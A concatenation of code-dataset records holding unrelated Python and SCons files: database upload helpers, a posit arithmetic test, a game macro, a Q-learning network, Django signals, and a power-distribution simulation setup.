_metadata['TimeStamp']\n filename = _metadata['filename']\n\n radial_info = dict(siteId=site_id, radialId=radial_id, TimeStamp=timestamp, filename=filename)\n\n result = session.query(RadialsLatest).filter_by(siteId=radial_info['siteId']).first()\n\n if not result:\n result = RadialsLatest(**radial_info)\n session.add(result)\n session.commit()\n session.flush()\n logging.debug('{} - Table `hfrLatestRadials` - Added siteId: {} and latest timestamp: {}'.format(filename, site_id, timestamp))\n elif result:\n if result.TimeStamp < timestamp:\n result.TimeStamp = timestamp\n result.radialId = radial_id\n result.filename = filename\n session.commit()\n logging.debug('{} - Table `hfrLatestRadials` - Updated siteId: {} to latest timestamp: {}'.format(filename, site_id, timestamp))\n\n\ndef upload_diagnostics(session, table_object, data, id):\n data['datetime'] = data['datetime'].dt.strftime('%Y-%m-%d %H:%M:%S')\n data = data.where(data.notnull(), None)\n # bulk_list = []\n # for row in data.itertuples():\n # (ret,), = session.query(exists().where(table_object.datetime == row.datetime).where(table_object.id_site == id))\n # if ret:\n # continue\n # line_dict = row._asdict()\n # line_dict.pop('Index', None)\n # line_ref = table_object(**line_dict)\n # bulk_list.append(line_ref)\n #\n # session.bulk_save_objects(bulk_list)\n # session.commit()\n # session.flush()\n\n data.to_sql(table_object.__tablename__, con=session.bind, if_exists='append', index=False)\n return\n\n\ndef upload_radial_header(session, _metadata):\n \"\"\"\n\n :param session:\n :param _metadata:\n :return:\n \"\"\"\n result = RadialMetadata(**_metadata)\n session.add(result)\n session.commit()\n session.flush()\n logging.debug('{} - Table `hfrRadialFilesMetadata` - Radial header upload complete.'.format(_metadata['filename']))\n _metadata['radial_id'] = result.id\n return _metadata\n","sub_path":"codar_processing/src/database_radials.py","file_name":"database_radials.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"124915860","text":"import fnmatch\nimport os\n\n############################################################################\n# config\n\n############################################################################\n## compile commands\n\n# find all source files\nproject_path = os.path.dirname(os.path.abspath('#'))\n\nsrc_files = []\nfor root, dirnames, filenames in os.walk(project_path):\n for filename in fnmatch.filter(filenames, '*.cpp'):\n src_files.append(os.path.join(root, filename))\n\n\n# config include paths and lib paths\nenv = DefaultEnvironment()\n\ninclude_path = []\nlibs = []\nlib_path = []\ncxxflags = []\nlink_flags = []\n\ninclude_path += ['.']\n\nlibs += ['dl']\nlink_flags += ['-Wl,-z,now']\n\nif 'LIBS' in env:\n libs = env['LIBS'] + libs\nif 'LIBPATH' in env:\n lib_path = env['LIBPATH'] + lib_path\nif 'CPPPATH' in env:\n include_path = env['CPPPATH'] + include_path\nif 'CXXFLAGS' in env:\n cxxflags = env['CXXFLAGS'] + ['-g']\nif 'LINKFLAGS' in env:\n link_flags = env['LINKFLAGS'] + link_flags\n\n\nSharedLibrary('../wxATFAgent', src_files, LIBS=libs,\n LIBPATH= lib_path, CPPPATH=include_path, CXXFLAGS=cxxflags, LINKFLAGS=link_flags)\n","sub_path":"agent/preload/loader/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"409845771","text":"import softposit as sp\nimport numpy as np\nimport csv\nimport subprocess\nimport parmap\n\n\ndef csv_list(csv_file_name):\n with open(csv_file_name) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n for row in csv_reader:\n yield row\n\n\ndef run_device_c(mode=0, a=\"0\", b=\"0\"):\n command = ['./device.out', str(mode), a, b]\n output = subprocess.check_output(command, encoding='UTF-8')\n return output\n\n\ndef addition_comparison(row_b, row_a):\n c_library_result = run_device_c(mode=0, a=row_a[0], b=row_b[0])\n python_posit_result = sp.posit8(float(row_a[0])) + sp.posit8(float(row_b[0]))\n if float(c_library_result) == float(python_posit_result):\n return 1\n else:\n print(f'{c_library_result} != {python_posit_result}')\n return 0\n\n\ndef division_comparison(row_b, row_a):\n c_library_result = run_device_c(mode=3, a=row_a[0], b=row_b[0])\n python_posit_result = sp.posit8(float(row_a[0])) / sp.posit8(float(row_b[0]))\n if float(c_library_result) == float(python_posit_result):\n return 1\n else:\n print(f'{c_library_result} != {python_posit_result}') # 0.00 != NaR -> no standardized nan in c-code print possible\n return 0\n\n\ndef multiplication_comparison(row_b, row_a):\n c_library_result = run_device_c(mode=2, a=row_a[0], b=row_b[0])\n python_posit_result = sp.posit8(float(row_a[0])) * sp.posit8(float(row_b[0]))\n if float(c_library_result) == float(python_posit_result):\n return 1\n else:\n print(f'{c_library_result} != {python_posit_result}')\n return 0\n\n\ndef get_comparator(mode):\n if mode == 'addition':\n return addition_comparison\n elif mode == 'multiplication':\n return multiplication_comparison\n elif mode == 'division':\n return division_comparison\n\n\ndef unit_test(mode='addition'):\n comparison = get_comparator(mode)\n successcount = errcount = i = 0\n possible_values_a = iter(csv_list('8_bit.csv'))\n\n for row_a in possible_values_a:\n possible_values_b = iter(csv_list('8_bit.csv'))\n\n # skip rows that were checked in previous iterations\n for _ in range(i):\n next(possible_values_b)\n\n results = parmap.map(comparison, possible_values_b, row_a)\n successcount += np.count_nonzero(np.array(results) == 1)\n errcount += np.count_nonzero(np.array(results) == 0)\n i += 1\n\n print(f'we have {successcount} successes, and {errcount} errors in {mode} mode')\n\n\nprint(f'conversion from posit to real (10101111): {run_device_c(-1, a=\"10101111\")}')\nunit_test(mode='division')\nunit_test(mode='addition')\nunit_test(mode='multiplication')\n","sub_path":"test/python_posits.py","file_name":"python_posits.py","file_ext":"py","file_size_in_byte":2663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"297787522","text":"import keyboard\nfrom time import sleep\n# import macro\nimport pywinauto as p\nimport datetime\nimport os\nimport sys\nimport mouseSeal as mouse\n\nstart = True\nk = p.keyboard\n\nmacro = [553, 234]\nitem = [550, 51]\nchar_tengah = [399, 304]\nchar_party = [50, 27]\ninven_inden = [340, 147]\nslot_inden = [295, 167]\ntombol_ok = [167, 323]\n\n#ganti pake key code\nhotkey = {\n \"macro\" : \"1\",\n \"item\" : \"2\",\n \"char_tengah\" : \"3\",\n \"char_party\" : \"4\",\n \"inven_inden\" : \"5\",\n \"slot_inden\" : \"6\",\n \"tombol_ok\" : \"7\",\n}\n\nfor value in hotkey :\n print(hotkey[value] + \" : \" + value)\n\nprint(\"Status minimum utk Equipment\")\nmpw = input(\"Mpw : \") or 0\ndmg = input(\"dmg : \") or 0\nhp = input(\"hp : \") or 0\nmspd = input(\"mspd : \") or 0\ndefend = input(\"defend : \") or 0\n\ndef calculateStatus(status) :\n cek = False\n if mpw != 0 :\n if status.mpw >= int(mpw) :\n cek = True\n elif dmg != 0 :\n if status.dmg >= int(dmg) :\n cek = True\n elif hp != 0 :\n if status.hp >= int(hp) :\n cek = True\n elif mspd != 0 :\n if status.mspd >= int(mspd) :\n cek = True\n elif defend != 0 :\n if status.defend >= int(defend) :\n cek = True\n return cek\nstop = False\nprint(\"Inden jibit Ready\")\nwhile start:\n if keyboard.is_pressed(hotkey['macro']) : mouse.moveMouse(macro[0], macro[1]) #macro\n if keyboard.is_pressed(hotkey['item']) : mouse.moveMouse(item[0], item[1]) #item\n if keyboard.is_pressed(hotkey['char_tengah']) : mouse.moveMouse(char_tengah[0], char_tengah[1]) #char tengah\n if keyboard.is_pressed(hotkey['char_party']) : mouse.moveMouse(char_party[0], char_party[1]) #char party\n if keyboard.is_pressed(hotkey['inven_inden']) : mouse.moveMouse(inven_inden[0], inven_inden[1]) #inven inden\n if keyboard.is_pressed(hotkey['slot_inden']) : mouse.moveMouse(slot_inden[0], slot_inden[1]) #slot inden\n if keyboard.is_pressed(hotkey['tombol_ok']) : mouse.moveMouse(tombol_ok[0], tombol_ok[1]) #tengah bwt klik ok\n\n #bwt dapetin posisi mouse sekarang\n if keyboard.is_pressed(\"]\") : \n mouse.getPosition()\n print(\"OPT Found\")\n sleep(0.1)\n \n if keyboard.is_pressed(\"z\") :\n status = mouse.getItemStatus()\n text = (\n \"\\ntime \" + str(datetime.datetime.today()) + \"\\n\"\n \"mpw : \" + str(status.mpw) + \"\\n\"\n \"defend : \" + str(status.defend) + \"\\n\"\n \"mspd : \" + str(status.mspd) + \"\\n\"\n \"hp : \" + str(status.hp) + \"\\n\"\n \"dmg : \" + str(status.dmg) + \"\\n\"\n )\n print(text)\n f = open(\"inden.txt\", \"a\")\n f.write(text)\n f.close()\n if calculateStatus(status) :\n stop = True\n sleep(0.2)\n if stop == True :\n print(\"OPT Found\")\n start = False\n break","sub_path":"indenjibit.py","file_name":"indenjibit.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"447939337","text":"\"\"\"\nContains generic utility functions that don't properly fit anywhere else.\n\"\"\"\n\nimport random\nfrom ui.constants import DIALOGUE_DIVOT_SIZE\n\ndef interpolate2D(start, end, seconds, snapping_distance = 0, min_delta = 0):\n\t\"\"\"\n\tReturns a 2D point that's interpolated between a start and end over a given\n\tperiod of time.\n\t\"\"\"\n\tdx = start[0] - end[0]\n\tdy = start[1] - end[1]\n\tdistance = dx * dx + dy * dy\n\tif distance < snapping_distance:\n\t\t# If the two are close enough, we just snap them together.\n\t\treturn end\n\telse:\n\t\t# Gradually pull the Visual towards its target.\n\t\tv = 2.0 * seconds * distance if seconds < 0.5 else distance\n\t\t# Keep it from moving too slowly.\n\t\tv = max(v, min_delta)\n\n\t\tfrac = v / distance\n\t\tfrac = 1.0 if frac > 1.0 else frac\n\t\tx = start[0] - frac * dx\n\t\ty = start[1] - frac * dy\n\t\treturn (x, y)\n\ndef fudge(point, factor):\n\tx, y = point\n\tdx = random.uniform(-factor/2, factor/2)\n\tdy = random.uniform(-factor/2, factor/2)\n\treturn (x + dx, y + dy)\n\ndef contains(rect1, rect2):\n\t\"\"\"\n\tReturns whether the first rect containst he second rect.\n\t\"\"\"\n\treturn rect1[0] <= rect2[0] and rect1[1] <= rect2[1] and \\\n\t\t rect1[0] + rect1[2] >= rect2[0] + rect2[2] and \\\n\t\t rect1[1] + rect1[3] >= rect2[1] + rect2[3]\n\ndef generateBox(width, height, top=False, bottom=False, left=False,\n\t\t\t\tright=False):\n\t\"\"\"\n\tCreates a set of points that, when closed, corresponds to a box of given\n\twidth and height. In any of the directions that are set to True, a carat\n\twill be added.\n\t\"\"\"\n\tcorners = [(0, 0)]\n\tif left:\n\t\tcorners.append((0, height / 2 - DIALOGUE_DIVOT_SIZE))\n\t\tcorners.append((-DIALOGUE_DIVOT_SIZE, height / 2))\n\t\tcorners.append((0, height / 2 + DIALOGUE_DIVOT_SIZE))\n\tcorners.append((0, height))\n\tif bottom:\n\t\tcorners.append((width / 2 - DIALOGUE_DIVOT_SIZE, height))\n\t\tcorners.append((width / 2, height + DIALOGUE_DIVOT_SIZE))\n\t\tcorners.append((width / 2 + DIALOGUE_DIVOT_SIZE, height))\n\tcorners.append((width, height))\n\tif right:\n\t\tcorners.append((width, height / 2 + DIALOGUE_DIVOT_SIZE))\n\t\tcorners.append((width + DIALOGUE_DIVOT_SIZE, height / 2))\n\t\tcorners.append((width, height / 2 - DIALOGUE_DIVOT_SIZE))\n\tcorners.append((width, 0))\n\tif top:\n\t\tcorners.append((width / 2 + DIALOGUE_DIVOT_SIZE, 0))\n\t\tcorners.append((width / 2, -DIALOGUE_DIVOT_SIZE))\n\t\tcorners.append((width / 2 - DIALOGUE_DIVOT_SIZE, 0))\n\treturn corners","sub_path":"ui/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"107507941","text":"import click\nfrom connect import connect_agents\nimport requests\nfrom config import client_url\nimport urllib\n\n\ndef resolve_did(base_url, connection_id):\n url = urllib.parse.urljoin(base_url,\n f\"connections/{connection_id}/resolve-did\")\n content = {\n \"@type\": \"https://didcomm.org/did_resolution/0.1\",\n \"@id\": \"xhqMoTXfqhvAgtYxUSfaxbSiqWke9t\",\n \"did\": \"did:sov:WRfXPg8dantKVubE3HX8pw\",\n \"input_options\": {\n \"result_type\": \"did-document\",\n \"no_cache\": False\n },\n \"content\": \"\"\n }\n requests.post(url, json=content)\n\n\n@click.command()\n@click.option('--invitation-path', default=None,\n help='path of the invitation file.')\n@click.option('--invitation', default=None, help='base64-encoded invitation.')\ndef main(invitation_path, invitation):\n connection_id = connect_agents(invitation_path=invitation_path,\n invitation=invitation)\n resolve_did(client_url, connection_id)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"resolve_did.py","file_name":"resolve_did.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"39963590","text":"import re\n\nclass Affiliate:\n def __init__(self):\n self.institute = ''\n self.dept = ''\n self.lab = ''\n\n\n\"\"\"\nParser to find a papers authors\nroot: XMLroot to parse\ndevice: device to add author to\n\"\"\"\ndef parseAuthor(root, device):\n\n sourceDesc = next(root.iter(\"{http://www.tei-c.org/ns/1.0}sourceDesc\"))\n\n if sourceDesc is not None:\n affiliations = find_affiliations(sourceDesc)\n device.affiliates = affiliations\n\n for author in sourceDesc.iter(\"{http://www.tei-c.org/ns/1.0}author\"):\n\n persName = author.find(\"{http://www.tei-c.org/ns/1.0}persName\")\n if persName is not None:\n firstName = persName.find(\"{http://www.tei-c.org/ns/1.0}forename\")\n surname = persName.find(\"{http://www.tei-c.org/ns/1.0}surname\")\n\n if firstName is not None and surname is not None:\n if len(firstName.text) == 1:\n name = firstName.text + \". \" + surname.text\n else:\n name = firstName.text + \" \" + surname.text\n\n else:\n if surname is not None:\n name = surname.text\n\n else:\n name = ''\n\n if name is not '':\n device.authors.append(name)\n\n\n\"\"\"\nParser for affiliation of an author\nInput:\n\n\"\"\"\ndef find_affiliations(src):\n affiliates = []\n affiliates_elem = src.iter(\"{http://www.tei-c.org/ns/1.0}affiliation\") # gives a list of affiliates\n seen_affiliates = []\n for affiliate in affiliates_elem:\n if 'key' in affiliate.attrib:\n num = affiliate.get('key')\n if num not in seen_affiliates:\n seen_affiliates.append(num)\n orgs = affiliate.findall('{http://www.tei-c.org/ns/1.0}orgName')\n # may have multiple affiliations, dict keeps track which groups belong with each other\n dict = {}\n for org in orgs:\n type = org.get('type')\n if 'key' in org.attrib:\n key = org.get('key')\n key = key[-1]\n else:\n key = '0'\n val = org.text\n\n if key in dict:\n dict[key].append((type, val))\n else:\n dict[key] = [(type, val)]\n for key in dict:\n new_affl = Affiliate()\n for type in dict[key]: #gives a list of tuples\n if type[0] == 'department':\n dept = type[1]\n new_affl.dept = dept\n elif type[0] == 'institution':\n instit = type[1]\n new_affl.institute = instit\n elif type[0] == 'laboratory':\n lab = type[1]\n new_affl.lab = lab\n affiliates.append(new_affl)\n\n return affiliates\n\n\n\"\"\"\nParser for a papers publication\n\"\"\"\n\n\ndef parsePub(root, device):\n\n publicationStmt = next(root.iter(\"{http://www.tei-c.org/ns/1.0}publicationStmt\"))\n\n if publicationStmt is not None:\n try:\n date = publicationStmt.find(\"{http://www.tei-c.org/ns/1.0}date\").text\n device.date = find_year(date)\n except:\n pass\n\n publisher = publicationStmt.find(\"{http://www.tei-c.org/ns/1.0}publisher\").text\n if publisher is not None:\n device.publisher = publisher\n\n\ndef find_year(date):\n if date is not None:\n if type(date) is str:\n year = re.findall(r'\\d\\d\\d\\d', date)\n return year[0]\n else:\n return ''\n else:\n return ''\n","sub_path":"src/MetaDataParser.py","file_name":"MetaDataParser.py","file_ext":"py","file_size_in_byte":3858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"224483539","text":"import platform\nimport sqlite3\n\n\nclass OpenDB():\n def __init__(self):\n pass\n\n def open_db(self):\n self.con = sqlite3.connect('Game.db')\n print('DB open.')\n self.c = self.con.cursor()\n\n def close_db(self):\n print('Closing DB.')\n self.c.close()\n self.con.close()\n\n def insert_into_db(self):\n # Need to insert try/except in case of failing\n # Stats Table\n self.c.execute('''CREATE TABLE IF NOT EXISTS Stats\n(ID INTEGER PRIMARY KEY,\nUsername TEXT,\nStr INTEGER,\nDex INTEGER,\nAC INTEGER,\nVit INTEGER)''')\n\n # Players info\n self.c.execute('''CREATE TABLE IF NOT EXISTS PlayerInfo\n(ID INTEGER PRIMARY KEY,\nUsername TEXT,\nPassword TEXT,\nEmail TEXT,\nName TEXT,\nChar_Name TEXT)''')\n\n #Xp Points\n self.c.execute('''CREATE TABLE IF NOT EXISTS XpPoints\n(ID INTEGER Primary Key,\nAmount INTEGER,\nUsername TEXT)''')\n\n #Gold\n self.c.execute('''CREATE TABLE IF NOT EXISTS Gold\n(ID INTEGER Primary Key,\nQuantity INTEGER,\nUsername TEXT)''')\n\n #Levels\n self.c.execute('''CREATE TABLE IF NOT EXISTS Levels\n(ID INTEGER Primary Key,\nLevels INTEGER,\nXp2Next INTEGER)''')\n\n #Current Level\n self.c.execute('''CREATE TABLE IF NOT EXISTS CurrentLevel\n(ID INTEGER Primary Key,\nCurrentLevel INTEGER,\nUsername TEXT)''')\n\n #Enemies\n self.c.execute('''CREATE TABLE IF NOT EXISTS Enemies\n(ID INTEGER Primary Key,\nName TEXT,\nLevel INTEGER,\nHighAtt INTEGER,\nLowAtt INTEGER,\nAc INTEGER,\nHealth INTEGER,\nDescription TEXT)''')\n \n #Weapons\n self.c.execute('''CREATE TABLE IF NOT EXISTS Weapons\n(ID INTEGER PRIMARY KEY,\nName TEXT,\nCost INTEGER,\nLowHit INTEGER,\nHighHit INTEGER,\nWeight TEXT,\nHandle INTEGER,\nDescription TEXT)''')\n\n #Armor Class\n self.c.execute('''CREATE TABLE IF NOT EXISTS Armor\n(ID INTEGER PRIMARY KEY,\nName TEXT,\nCost INTEGER,\nArmorRating INTEGER,\nWeight TEXT,\nWeightEffect INTEGER,\nDescription TEXT)''')\n\n #Item to buy\n self.c.execute('''CREATE TABLE IF NOT EXISTS Merchant\n(ID INTEGER Primary Key,\nName TEXT,\nCost_to_Buy INTEGER,\nCost_to_Sell INTEGER,\nWeight TEXT,\nHeavyness INTEGER,\nDescription TEXT)''')\n\n #Tavern\n self.c.execute('''CREATE TABLE IF NOT EXISTS Tavern\n(ID INTEGER Primary Key,\nPerson TEXT,\nInfo TEXT,\nCost INTEGER)''')\n\n #Inventory\n self.c.execute('''CREATE TABLE IF NOT EXISTS Inventory\n(ID INTEGER PRIMARY KEY,\nUsername TEXT,\nName TEXT,\nWeight_Limit INTEGER,\nWeightEffect INTEGER,\nItemID INTEGER,\nCost_to_Sell INTEGER,\nDescription TEXT)''')\n\n\n con.commit()\n\n def delete_tables(self):\n # Need to insert try/except in case of failing\n to_drop = ['Stats','PlayerInfo','XpPoints','Gold','Levels','CurrentLevel',\n 'Enemies','Weapons','Armor','Merchant','Tavern']\n\n n = 0\n for drop in to_drop:\n self.c.execute('DROP TABLE %s' % (to_drop[n]))\n\n con.commit()\n \n\n \n\n\n \nif __name__ == '__main__':\n opening = OpenDB()\n opening.open_db()\n opening.close_db()\n \n","sub_path":"DatabaseBuilding/DBTables.py","file_name":"DBTables.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"75786941","text":"import os\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\nimport tensorflow as tf\nimport numpy as np\n\n\"\"\"\n64:200:190:180...:64 RELU\n\"\"\"\nclass QNetworkRelu(object):\n def __init__(self,lr=0.01):\n # Set learning parameters\n self.y = 0.99\n self.batch_size = 32 #Size of training batch\n tau = 0.001 #Amount to update target network at each step.\n trainables = tf.trainable_variables()\n self.targetOps = self.updateTargetGraph(trainables,tau)\n\n #These lines establish the feed-forward part of the network used to choose actions\n self.inputLayer = tf.placeholder(shape=[None,64],dtype=tf.float32)\n hidden = tf.layers.dense(self.inputLayer, 200, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 190, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 180, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 170, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 160, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 150, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 140, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 130, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 120, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 110, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 100, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 90, activation = tf.nn.relu)\n hidden = tf.layers.dense(hidden, 80, activation = tf.nn.relu)\n # Dropout\n dropout = tf.layers.dropout(hidden, rate=0.4)\n # Qout Layer\n self.Qout = tf.layers.dense(inputs=dropout, units=64)\n self.predict = tf.argmax(self.Qout,1) #Get the best value\n\n #Obtain the loss by taking the sum of squares difference between the target and prediction Q values.\n self.nextQ = tf.placeholder(shape=[None,64],dtype=tf.float32)\n self.loss = tf.reduce_sum(tf.square(self.nextQ - self.Qout))\n trainer = tf.train.GradientDescentOptimizer(lr)\n self.updateModel = trainer.minimize(self.loss)\n\n def getInputShape(self):\n return 64\n\n def getQout(self,s,tile,sess):\n \"\"\" Return Q-values for the QPlayer\n @param board s\n @param tfSession sess\n @return list(float) Qout\n \"\"\"\n return sess.run(self.Qout,feed_dict={self.inputLayer:[s.get1DBoard()]})\n\n def update(self,bufferP,sess):\n \"\"\" Update Networks with the experience buffer\n @param ExperienceBuffer bufferP\n @param tfSession sess\n \"\"\"\n trainBatch = bufferP.sample(self.batch_size)\n targetQ = sess.run(self.Qout,feed_dict={self.inputLayer:np.vstack(trainBatch[:,3])})\n maxQ1 = np.array(map(max,targetQ))\n reward = trainBatch[:,2] + self.y*maxQ1\n for idx in range(self.batch_size):\n targetQ[idx,trainBatch[idx,1]] = trainBatch[idx,2] + self.y*maxQ1[idx]\n _ = sess.run(self.updateModel,feed_dict={self.inputLayer:np.vstack(trainBatch[:,0]),self.nextQ:targetQ})\n\n self.updateTarget(self.targetOps,sess)\n\n def updateTargetGraph(self,tfVars,tau):\n total_vars = len(tfVars)\n op_holder = []\n for idx,var in enumerate(tfVars[0:total_vars//2]):\n op_holder.append(tfVars[idx+total_vars//2].assign((var.value()*tau) + ((1-tau)*tfVars[idx+total_vars//2].value())))\n return op_holder\n\n def updateTarget(self,op_holder,sess):\n for op in op_holder:\n sess.run(op)\n","sub_path":"othello/qnetwork_relu.py","file_name":"qnetwork_relu.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"398136090","text":"from django.db.models.signals import post_save, post_delete, pre_save\nfrom django.dispatch import receiver\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nimport stripe\nfrom .models import Profile\n\nstripe.api_key = settings.STRIPE_SECRET_KEY\nUser = get_user_model()\n\n# create a user's profile when a new user is registered\n# should be registered in apps.py\n@receiver(post_save, sender=User)\ndef create_profile(sender, **kwargs):\n if kwargs['created']:\n user = kwargs['instance']\n profile = Profile.objects.create(user=user)\n customer = stripe.Customer.create(email=user.email)\n profile.stripe_customer_id = customer['id']\n profile.save()\n\n\n# delete user object when related profile is deleted\n@receiver(post_delete, sender=Profile)\ndef delete_user(sender, instance, **kwargs):\n User.objects.get(id=instance.user.id).delete()\n\n\n@receiver(pre_save, sender=Profile)\ndef delete_photo_file_on_update(sender, instance, **kwargs):\n \"\"\"\n Deletes old photo when updating model instance\n \"\"\"\n try:\n old_photo = sender.objects.get(pk=instance.pk).photo\n except sender.DoesNotExist:\n return False\n\n # if old photo is the default profile photo then it shouldn't be deleted otherwise delete old photo\n if not old_photo.url.endswith('/media/profile_default.jpg'):\n sender.objects.get(pk=instance.pk).photo.delete(False)\n\n # if old and new photos are default profile photos\n # then make new photo be equal to old photo so new copy of the default profile photo isn't created\n new_photo = instance.photo\n if old_photo == new_photo:\n instance.photo = old_photo\n","sub_path":"accounts/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"461223687","text":"########################################################################################################################\n# *** Copyright Notice ***\n#\n# \"Price Based Local Power Distribution Management System (Local Power Distribution Manager) v2.0\"\n# Copyright (c) 2017, The Regents of the University of California, through Lawrence Berkeley National Laboratory\n# (subject to receipt of any required approvals from the U.S. Dept. of Energy). All rights reserved.\n#\n# If you have questions about your rights to use or distribute this software, please contact\n# Berkeley Lab's Innovation & Partnerships Office at IPO@lbl.gov.\n########################################################################################################################\n\n\n\"\"\"Simulation class for scenario data file IO and setting up the simulation, and functionality to run it.\"\"\"\n\nimport json\nimport logging\nimport os\nimport importlib\n\nfrom Build.Objects.air_conditioner import AirConditionerSimple\nfrom Build.Objects.battery import Battery\nfrom Build.Objects.fixed_consumption import FixedConsumption\nfrom Build.Objects.load_profile_eud import LoadProfile\nfrom Build.Objects.grid_controller import GridController\nfrom Build.Objects.light import Light\nfrom Build.Objects.notebook_personal_computer import NotebookPersonalComputer\nfrom Build.Objects.pv import PV\nfrom Build.Objects.converter.converter import Converter\nfrom Build.Objects.wire import Wire\nfrom Build.Objects.utility_meter import UtilityMeter\nfrom Build.Simulation_Operation.logger import SimulationLogger\nfrom Build.Simulation_Operation.supervisor import Supervisor\nfrom Build.Simulation_Operation.support import SECONDS_IN_DAY\n\n\nclass SimulationSetup:\n\n DEFAULT_MESSAGE_LATENCY = 1 # If not specified devices will have a 1 second message processing delay\n DEFAULT_MULTIDAY = 1 # If not specified, all schedules will repeat on a daily basis\n\n ##\n # Create an instance of the Simulation Setup class, which will contain the supervisor who will orchestrate\n # the simulation\n # @param supervisor the supervisor for this simulation\n def __init__(self, supervisor):\n self.end_time = 0 # time until which to run simulation. Update this in setup_simulation.\n self.supervisor = supervisor # Supervisor class orchestrating the simulation.\n # A dictionary of eud class names and their respective constructor input names to read from the JSON file\n self.eud_dictionary = {\n 'light': [Light, 'max_operating_power', 'power_level_max', 'power_level_low', 'price_dim_start',\n 'price_dim_end', 'price_off'],\n 'notebook_personal_computer': [NotebookPersonalComputer, 'max_operating_power', 'power_level_max', 'power_level_low', 'price_dim_start',\n 'price_dim_end', 'price_off'],\n 'air_conditioner': [AirConditionerSimple, 'compressor_operating_power', 'initial_temp', 'temp_max_delta',\n 'initial_set_point', 'price_to_setpoint', 'temperature_schedule',\n 'precooling_price_threshold', 'compressor_cooling_rate', 'heat_exchange_rate'],\n 'fixed_consumption': [FixedConsumption, 'desired_power_level'],\n 'load_profile_eud': [LoadProfile, 'data_filename']\n }\n\n ##\n # Reads in the configuration JSON and returns the dictionary parsed from it\n # @return a parsed key-value dictionary from the json\n def read_config_file(self, filename):\n with open(filename, 'r') as config_file:\n return json.load(config_file)\n\n ##\n # Sets up the logging for the simulation by\n # @param config_filename the name of the input JSON file to be included in the header of the log\n # @param config the input parameter dictionary containing info on log levels\n # @param override_args the dictionary of override arguments to include in log header\n\n def setup_logging(self, config_filename, config, override_args):\n log_manager = SimulationLogger(\n console_log_level=config.get(\"console_log_level\", logging.INFO), # Default to less info at console\n file_log_level=config.get(\"file_log_level\", logging.DEBUG),\n database_log_level=config.get(\"database_log_level\", logging.DEBUG),\n log_to_database=config.get(\"log_to_database\", False),\n )\n log_manager.initialize_logging(config_filename, override_args)\n\n # ________________________JSON READ-IN/DEVICE-INITIALIZATION FUNCTIONS ____________________________________________\n\n \"\"\" Below are a collection of read-in functions, which parse their respective portions of the JSON and create\n instances of their respective classes, report those devices to the simulation supervisor,\n and record all the connections between devices which will then be initiated after all the devices are created.\n \"\"\"\n\n ##\n # Reads in information from the parameter dictionary, makes all specified grid controllers and registers them with\n # the supervisor, recording each of their connections\n # @param config the configuration dictionary derived from the input JSON file\n # @param runtime duration of the simulation (used by grid controllers for internal scheduling).\n # @param override_args a dictionary of override arguments\n # @return list of tuples of GC_id's, list of that device's connected devices.\n\n def make_grid_controllers(self, config, runtime, override_args):\n\n connections = [] # a list of tuples of (gc, [connections]) to initialize later once all devices are set.\n if 'grid_controllers' not in config['devices']:\n return connections\n\n for gc in config['devices']['grid_controllers']:\n gc_id = gc['device_id']\n price_logic = gc['price_logic']\n price_logic = override_args.get('devices.{}.price_logic'.format(gc_id), price_logic)\n\n msg_latency = gc.get('message_latency', self.DEFAULT_MESSAGE_LATENCY)\n msg_latency = int(override_args.get('devices.{}.message_latency'.format(gc_id), msg_latency))\n\n min_alloc_response_threshold = gc.get('threshold_alloc', 1.0)\n min_alloc_response_threshold = float(override_args.get('devices.{}.threshold_alloc'.format(gc_id),\n min_alloc_response_threshold))\n\n price_announce_threshold = gc.get('price_announce_threshold', .01)\n price_announce_threshold = float(override_args.get('devices.{}.price_announce_threshold'.format(gc_id),\n price_announce_threshold))\n\n schedule = gc.get('schedule', None)\n multiday = schedule.get('multiday', self.DEFAULT_MULTIDAY) if schedule else 0\n schedule_items = schedule.get('items', None) if schedule else None\n\n connected_devices = gc.get('connected_devices', None)\n if connected_devices:\n connections.append((gc_id, connected_devices))\n\n batt_info = gc.get('battery', None)\n if batt_info:\n battery = self.make_battery(battery_info=batt_info, gc_id=gc_id, override_args=override_args)\n else:\n battery = None\n new_gc = GridController(device_id=gc_id, supervisor=self.supervisor, battery=battery,\n msg_latency=msg_latency, price_logic=price_logic, schedule=schedule_items,\n min_alloc_response_threshold=min_alloc_response_threshold,\n price_announce_threshold=price_announce_threshold, total_runtime=runtime)\n # make a new grid controller and 